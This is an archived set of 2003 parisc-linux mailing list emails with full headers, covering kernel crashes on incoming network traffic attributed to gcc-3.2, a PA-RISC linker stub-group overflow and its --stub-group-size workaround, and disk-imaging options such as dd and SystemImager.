Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h0GEbl829598;
	Thu, 16 Jan 2003 14:37:47 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20030116010620.GB8543@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17431

On Wed, 15 Jan 2003, Grant Grundler wrote:

> On Wed, Jan 15, 2003 at 05:14:47PM +0100, jsoe0708@tiscali.be wrote:
> > >There are a lot of differences (do you want it I do not think it will be
> > >usefull)
> > >
> > >> or a default .config if that's closer?
> > >
> > >It will have to wait tommorrow (sorry)
>
> np. I also want you to look at something that is known
> to work before going too far.
>
> > I now add CONFIG_TULIP_MMIO=yes
>
> yes. that's what I meant.
>
> > (Randolph: Do you want I send you those new material: kernel, system.map,
> > ...?)
>
> Or make them available via http or ftp.
> Otherwise, posting what symbols the IAOQ/GR02 values point at
> is even better.
>
> > I also forget to recall: this only occurs for incoming ethernet trafic(ie
> > ssh, telnet, ftp, coming from an external server). The outgoing traffic
> > works fine (I just do a telnet and a ftp from this server to an external
> > one without crash)
>
> Interesting. "outgoing" has both inbound and outbound data.
> That doesn't sound like a tulip driver bug though it's certainly
> possible.

This is EXACTLY what happened to me when I conpiled a kernel for my C240
(just using the built-in network card) with a (buggy) gcc-3.2. Incoming
network traffic will crash the system, outgoing will work.

gcc-3.2 obviously miscompiles parts of the network code of the kernel,
whereas gcc-3.0 (with the very same kernel, same config) produced a
working kernel. I can't remember exactly what kernel/config and compiler,
but I sent the details to the list some months ago (I cann look them up
if somebody is interested).

Perhaps this helps to narrow down which part (driver or networking code)
of the kernel is affected by the miscompilation.



From - Thu Nov 08 21:26:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-default for hppa
Date: Thu, 16 Jan 2003 16:02:19 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <3E1AAEFA0000192C__29367.9137518213$1416622126$gmane$org@ocpmta6.freegates.net>
References: <Pine.LNX.4.44.0301161427060.31815-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622126 20363 80.91.229.3 (22 Nov 2014 02:08:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:46 +0000 (UTC)
Cc: "Randolph Chung" <tausq@debian.org>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: "M. Grabert" <xam@cs.ucc.ie>,
	"Grant Grundler" <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 16 08:02:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0BFE84829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 16 Jan 2003 08:02:27 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18ZBXC-0000hd-00; Thu, 16 Jan 2003 16:02:22 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 16 Jan 2003 16:02:19 +0100
In-Reply-To: <Pine.LNX.4.44.0301161427060.31815-100000@sal.ucc.ie>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17432

Hi,
>
>This is EXACTLY what happened to me when I conpiled a kernel for my C240=

>(just using the built-in network card) with a (buggy) gcc-3.2. Incoming
>network traffic will crash the system, outgoing will work.
>
>gcc-3.2 obviously miscompiles parts of the network code of the kernel,
>whereas gcc-3.0 (with the very same kernel, same config) produced a
>working kernel. I can't remember exactly what kernel/config and compiler=
,
>but I sent the details to the list some months ago (I cann look them up
>if somebody is interested).
>
>Perhaps this helps to narrow down which part (driver or networking code)=

>of the kernel is affected by the miscompilation.
>
May be still have to do a test: recompile the kernel with config file men=
tioned
my Grant earlier (the 2.4.20-pa14 for c3k). Do not know if it can help us=

more? I will try and let inform.

Thanks,
    Joel

*********************************************
Vous surfez toujours avec une ligne classique ?
Faites des economies avec Tiscali Complete...
Plus d'info sur ... http://complete.tiscali.be





From - Thu Nov 08 21:26:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-default for hppa
Date: Thu, 16 Jan 2003 16:44:10 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <3E1AAEFA00001972__28539.9141059772$1416622127$gmane$org@ocpmta6.freegates.net>
References: <3E1AAEFA0000192C@ocpmta6.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622127 20371 80.91.229.3 (22 Nov 2014 02:08:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:47 +0000 (UTC)
Cc: "Randolph Chung" <tausq@debian.org>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: "M. Grabert" <xam@cs.ucc.ie>,
	"Grant Grundler" <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 16 08:44:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 850B44829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 16 Jan 2003 08:44:47 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18ZCCA-0000aj-00; Thu, 16 Jan 2003 16:44:42 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 16 Jan 2003 16:44:10 +0100
In-Reply-To: <3E1AAEFA0000192C@ocpmta6.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17433

>May be still have to do a test: recompile the kernel with config file me=
ntioned
>my Grant earlier (the 2.4.20-pa14 for c3k). Do not know if it can help
us
>more? I will try and let inform.
>
:^(( Also crash.

(I do not have any other supported NIC to test more :( )

Joel


*********************************************
Vous surfez toujours avec une ligne classique ?
Faites des economies avec Tiscali Complete...
Plus d'info sur ... http://complete.tiscali.be





From - Thu Nov 08 21:26:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: alaskan@telusplanet.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Partition/Disk Image Software for PA Risc
Date: Thu, 16 Jan 2003 08:57:19 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <vald2v40u7b1lfkr87f25g99u9l72dger4@4ax.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622127 20377 80.91.229.3 (22 Nov 2014 02:08:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 16 08:57:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from priv-edtnes44.telusplanet.net (defout.telus.net [199.185.220.240])
	by dsl2.external.hp.com (Postfix) with ESMTP id BEB3E4829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 16 Jan 2003 08:57:38 -0700 (MST)
Original-Received: from win2kbox ([66.222.159.202]) by priv-edtnes44.telusplanet.net
          (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with SMTP
          id <20030116155737.FTWT28422.priv-edtnes44.telusplanet.net@win2kbox>
          for <parisc-linux@lists.parisc-linux.org>;
          Thu, 16 Jan 2003 08:57:37 -0700
X-Mailer: Forte Agent 1.93/32.576 English (American)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17434

Is there anything similar to Ghost from Symantec for PA Risc systems?=20
I would like to create an image of my hard disk to speed recovery
times etc.=20

I know of HP-UX ignite, not sure if it can be used for PA Risc
tough...


Thanks



From - Thu Nov 08 21:26:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patrick Caulfield <patrick@tykepenguin.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Partition/Disk Image Software for PA Risc
Date: Thu, 16 Jan 2003 16:12:56 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <20030116161256.GH1214@tykepenguin.com>
References: <vald2v40u7b1lfkr87f25g99u9l72dger4@4ax.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1416622127 20379 80.91.229.3 (22 Nov 2014 02:08:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 16 09:12:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tyke.pjc.net (public1-leed3-6-cust58.leed.broadband.ntl.com [80.7.68.58])
	by dsl2.external.hp.com (Postfix) with ESMTP id BC0FD4829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 16 Jan 2003 09:12:57 -0700 (MST)
Original-Received: from patrick by tyke.pjc.net with local (Exim 3.36 #1 (Debian))
	id 18ZCdU-0002iJ-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 16 Jan 2003 16:12:56 +0000
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <vald2v40u7b1lfkr87f25g99u9l72dger4@4ax.com>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17435

On Thu, Jan 16, 2003 at 08:57:19AM -0700, alaskan@telusplanet.net wrote:
> Is there anything similar to Ghost from Symantec for PA Risc systems? 
> I would like to create an image of my hard disk to speed recovery
> times etc. 
> 
> I know of HP-UX ignite, not sure if it can be used for PA Risc
> tough...

I used dd to back up my HP/UX partition from Linux :-)
 
-- 

patrick



From - Thu Nov 08 21:26:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc 3.0 error
Date: Thu, 16 Jan 2003 12:51:30 -0500 (EST)
Lines: 47
Approved: news@gmane.org
Message-ID: <200301161751.h0GHpVQX002526__30727.5216946893$1416622128$gmane$org@hiauly1.hia.nrc.ca>
References: <3E1AAEFA0000190A@ocpmta6.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622128 20380 80.91.229.3 (22 Nov 2014 02:08:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 16 10:51:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id CADD64829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 16 Jan 2003 10:51:33 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h0GHpVot002528;
	Thu, 16 Jan 2003 12:51:32 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h0GHpVQX002526;
	Thu, 16 Jan 2003 12:51:31 -0500 (EST)
In-Reply-To: <3E1AAEFA0000190A@ocpmta6.freegates.net> from "jsoe0708@tiscali.be" at Jan 16, 2003 03:34:36 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17436

> /usr/bin/ld: .libs/libTKernel.la-478.o(.text.1+0x37798): cannot reach 00000387__ZNSolsEPFRSoS_E+0,
> recompile with -ffunction-sections
> /usr/bin/ld: .libs/libTKernel.la-478.o(.text.1+0x37798): cannot handle R_PARISC_PCREL17F

> As it is a very long job (more then 12h) what would it be better:
> 1) simply following advise: "recompile with -ffunction-sections"

Compiling with -ffunction-sections will not fix this problem.  This is a
problem with the linker and the part of the error message about recompiling
with -ffunction-sections is bogus.  The clue is the offset value which
is within limits.  You have hit a compilation with many small functions
and the stub group section has overflowed.

Before you trash the build, try using the ld option --stub-group-size
to set the maximum size of a group of input sections that can be handled
by one stub section.  If the link is done with gcc, add something like
"-Wl,--stub-group-size,-225000" to LDFLAGS.  You want the stub group
size as large as possible but it can't be larger than 240000.  Negative
values cause stubs to be located before their branches.  Positive
stub group sizes allows to two groups of input sections, one before
and one after each stub section (ld --help).

GCC uses pc relative branches for calls if the distance to the beginning
of the translation unit is less than 240000.  It doesn't know how big
the translation unit is at the time this decision is made, so using
positive stub group values may cause problems.

There was a bug in GCC's distance calculation under linux.  This is
fixed in 3.2.2 and later.  3.2.2 is not released yet.  3.3 is coming
soon (Feb. 15?).

> 2) upgrade directly to gcc-3.2

Won't fix the above.

If you using a PA 2.0 machine, you could use the -mpa-risc-2-0 option.
This increases the branch range to 22 bits and the maximum size of the
stub group section.

I would recommend using 3.3 for C++ builds but this is for other
reasons.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Partition/Disk Image Software for PA Risc
Date: Thu, 16 Jan 2003 14:47:32 -0500
Lines: 9
Approved: news@gmane.org
Message-ID: <20030116194732.GC532@systemhalted>
References: <vald2v40u7b1lfkr87f25g99u9l72dger4@4ax.com> <20030116161256.GH1214@tykepenguin.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622128 20382 80.91.229.3 (22 Nov 2014 02:08:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:48 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 16 12:47:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00207807b093-CM.cpe.net.cable.rogers.com [24.112.180.230])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4B72B4829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 16 Jan 2003 12:47:27 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18ZFzA-0000GF-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 16 Jan 2003 14:47:32 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20030116161256.GH1214@tykepenguin.com>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (11% Sync Ratio [=.........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17437

> I used dd to back up my HP/UX partition from Linux :-)
> -- 
> patrick

SystemImager?

c.



From - Thu Nov 08 21:26:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dannf@ldl.fc.hp.com (dann)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Partition/Disk Image Software for PA Risc
Date: Thu, 16 Jan 2003 13:17:20 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <20030116201720.GB6818@ldl.fc.hp.com>
References: <vald2v40u7b1lfkr87f25g99u9l72dger4@4ax.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622128 20384 80.91.229.3 (22 Nov 2014 02:08:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: alaskan@telusplanet.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 16 13:17:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id A19934829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 16 Jan 2003 13:17:21 -0700 (MST)
Original-Received: from smtp1.fc.hp.com (smtp1b.fc.hp.com [15.15.136.127])
	by atlrel9.hp.com (Postfix) with ESMTP
	id 26B87E0097C; Thu, 16 Jan 2003 15:17:21 -0500 (EST)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by smtp1.fc.hp.com (Postfix) with ESMTP
	id C2A3837E64; Thu, 16 Jan 2003 13:17:20 -0700 (MST)
Original-Received: by ldl.fc.hp.com (Postfix, from userid 20800)
	id 97B2E4192; Thu, 16 Jan 2003 13:17:20 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <vald2v40u7b1lfkr87f25g99u9l72dger4@4ax.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17438

I've ported (but not yet tested) systemimager to parisc-linux.
all the bits are in cvs at http://sf.net/projects/systemimager if anyone
wants to test.  there will be a few things that will need debugging, but
i'm happy to iterate over irc w/ someone until it goes.


On Thu, Jan 16, 2003 at 08:57:19AM -0700, alaskan@telusplanet.net wrote:
> Is there anything similar to Ghost from Symantec for PA Risc systems? 
> I would like to create an image of my hard disk to speed recovery
> times etc. 
> 
> I know of HP-UX ignite, not sure if it can be used for PA Risc
> tough...
> 
> 
> Thanks
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 

-- 
---------------------------
dann frazier
Hewlett-Packard
Linux Systems Division
dannf@hp.com
(970) 898-0800


From - Thu Nov 08 21:26:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Partition/Disk Image Software for PA Risc
Date: Thu, 16 Jan 2003 16:18:48 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <20030116211848.GF532@systemhalted>
References: <vald2v40u7b1lfkr87f25g99u9l72dger4@4ax.com> <20030116201720.GB6818@ldl.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622128 20388 80.91.229.3 (22 Nov 2014 02:08:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:48 +0000 (UTC)
Cc: alaskan@telusplanet.net, parisc-linux@lists.parisc-linux.org
To: dann <dannf@ldl.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 16 14:33:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00207807b093-CM.cpe.net.cable.rogers.com [24.112.180.230])
	by dsl2.external.hp.com (Postfix) with ESMTP id BEE304829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 16 Jan 2003 14:33:41 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18ZHPV-0000Y3-00; Thu, 16 Jan 2003 16:18:49 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	dann <dannf@ldl.fc.hp.com>, alaskan@telusplanet.net,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20030116201720.GB6818@ldl.fc.hp.com>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (11% Sync Ratio [=.........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17439

> I've ported (but not yet tested) systemimager to parisc-linux.
> all the bits are in cvs at http://sf.net/projects/systemimager if anyone
> wants to test.  there will be a few things that will need debugging, but
> i'm happy to iterate over irc w/ someone until it goes.

